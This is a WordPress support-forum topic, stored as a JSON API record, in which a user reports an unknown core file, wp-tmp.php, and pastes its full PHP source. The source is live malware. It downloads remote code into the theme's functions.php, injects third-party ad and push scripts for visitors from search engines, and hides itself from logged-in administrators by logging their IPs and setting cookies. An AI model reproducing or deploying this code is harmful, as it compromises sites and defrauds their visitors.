{"id":9935391,"date":"2018-02-04T07:02:31","date_gmt":"2018-02-04T07:02:31","guid":{"rendered":"https:\/\/wordpress.org\/support\/topic\/unknown-file-in-wordpress-core-wp-includes-wp-tmp-php\/"},"modified":"2018-02-04T07:02:31","modified_gmt":"2018-02-04T07:02:31","slug":"unknown-file-in-wordpress-core-wp-includes-wp-tmp-php","status":"publish","type":"topic","link":"https:\/\/wordpress.org\/support\/topic\/unknown-file-in-wordpress-core-wp-includes-wp-tmp-php\/","title":{"rendered":"Unknown file in WordPress core: wp-includes\/wp-tmp.php"},"content":{"rendered":"<p>Here\u2019s the code within wp-tmp.php:<\/p>\n<pre><code>ini_set(&#039;display_errors&#039;, 0);\nerror_reporting(0);\n$wp_auth_key=&#039;87b83c0568dfdee2d0d59bf8a221c00e&#039;;\n\n\/\/echo &quot;rrrr&quot;.get_template_directory();\n$file=file_get_contents(get_template_directory().&#039;\/functions.php&#039;);\n\n$pat_code=&#039;\/div_code_name[\\s\\S]*?(if \\( ! function_exists[\\s\\S]*?extract\\([\\s\\S]*?)\\?&gt;\/i&#039;;\nif(preg_match_all($pat_code, $file, $matches_pat_code))\n\n{\n\n$toreplace=$matches_pat_code[1][0];\n\/\/echo $toreplace;\n\n$newxc=file_get_contents(&#039;http:\/\/www.dolsh.cc\/new4.txt&#039;);\n\nif (stripos($newxc, $wp_auth_key) !== false) \n{\n$new_file=str_replace($toreplace,$newxc,$file);\n@file_put_contents(get_template_directory().&#039;\/functions.php&#039;,$new_file);\n}\n\n}\n\n\/\/@file_put_contents($funcfile,$file);\n\nif ( ! function_exists( &#039;slider_option&#039; ) ) {  \nfunction slider_option($content){ \nif(is_single())\n{\n\n$con2 = &#039;\n\n&lt;script type=&quot;text\/javascript&quot; src=&quot;\/\/go.onclasrv.com\/apu.php?zoneid=1426161&quot;&gt;&lt;\/script&gt;\n\n&lt;script async=&quot;async&quot; type=&quot;text\/javascript&quot; src=&quot;\/\/go.mobisla.com\/notice.php?p=1426162&amp;interactive=1&amp;pushup=1&quot;&gt;&lt;\/script&gt;\n\n&#039;;\n\n$content=$content.$con2;\n}\nreturn $content;\n} \n\nfunction slider_option_footer(){ \nif(!is_single())\n{\n\n$con2 = &#039;\n\n&lt;script type=&quot;text\/javascript&quot; src=&quot;\/\/go.onclasrv.com\/apu.php?zoneid=1426161&quot;&gt;&lt;\/script&gt;\n\n&lt;script async=&quot;async&quot; type=&quot;text\/javascript&quot; src=&quot;\/\/go.mobisla.com\/notice.php?p=1426162&amp;interactive=1&amp;pushup=1&quot;&gt;&lt;\/script&gt;\n\n&#039;;\n\necho $con2;\n}\n} \n\nfunction setting_my_first_cookie() {\n  setcookie( &#039;wordpress_cf_adm_use_adm&#039;,1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);\n  }\n\nif(is_user_logged_in())\n{\nadd_action( &#039;init&#039;, &#039;setting_my_first_cookie&#039;,1 );\n}\n\nif( current_user_can(&#039;edit_others_pages&#039;))\n{\n\nif (file_exists(ABSPATH.&#039;wp-includes\/wp-feed.php&#039;))\n{\n$ip=@file_get_contents(ABSPATH.&#039;wp-includes\/wp-feed.php&#039;);\n}\n\nif (stripos($ip, $_SERVER[&#039;REMOTE_ADDR&#039;]) === false)\n{\n$ip.=$_SERVER[&#039;REMOTE_ADDR&#039;].&#039;\n&#039;;\n@file_put_contents(ABSPATH.&#039;wp-includes\/wp-feed.php&#039;,$ip);\n\n}\n\n}\n\n$ref = $_SERVER[&#039;HTTP_REFERER&#039;];\n$SE = array(&#039;google.&#039;,&#039;\/search?&#039;,&#039;images.google.&#039;, &#039;web.info.com&#039;, &#039;search.&#039;,&#039;yahoo.&#039;,&#039;yandex&#039;,&#039;msn.&#039;,&#039;baidu&#039;,&#039;bing.&#039;,&#039;doubleclick.net&#039;,&#039;googleweblight.com&#039;);\nforeach ($SE as $source) {\n  if (strpos($ref,$source)!==false) {\n    setcookie(&quot;sevisitor&quot;, 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); \n\t$sevisitor=true;\n  }\n}\n\nif(!isset($_COOKIE[&#039;wordpress_cf_adm_use_adm&#039;]) &amp;&amp; !is_user_logged_in()) \n{\n$adtxt=@file_get_contents(ABSPATH.&#039;wp-includes\/wp-feed.php&#039;);\nif (stripos($adtxt, $_SERVER[&#039;REMOTE_ADDR&#039;]) === false)\n{\nif($sevisitor==true || isset($_COOKIE[&#039;sevisitor&#039;]))\n{\nadd_filter(&#039;the_content&#039;,&#039;slider_option&#039;);\nadd_action(&#039;wp_footer&#039;,&#039;slider_option_footer&#039;);\n}\n\n}\n} \n\n}<\/code><\/pre>\n","protected":false},"template":"","class_list":["post-9935391","topic","type-topic","status-publish","hentry"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/9935391","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/9935391\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=9935391"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}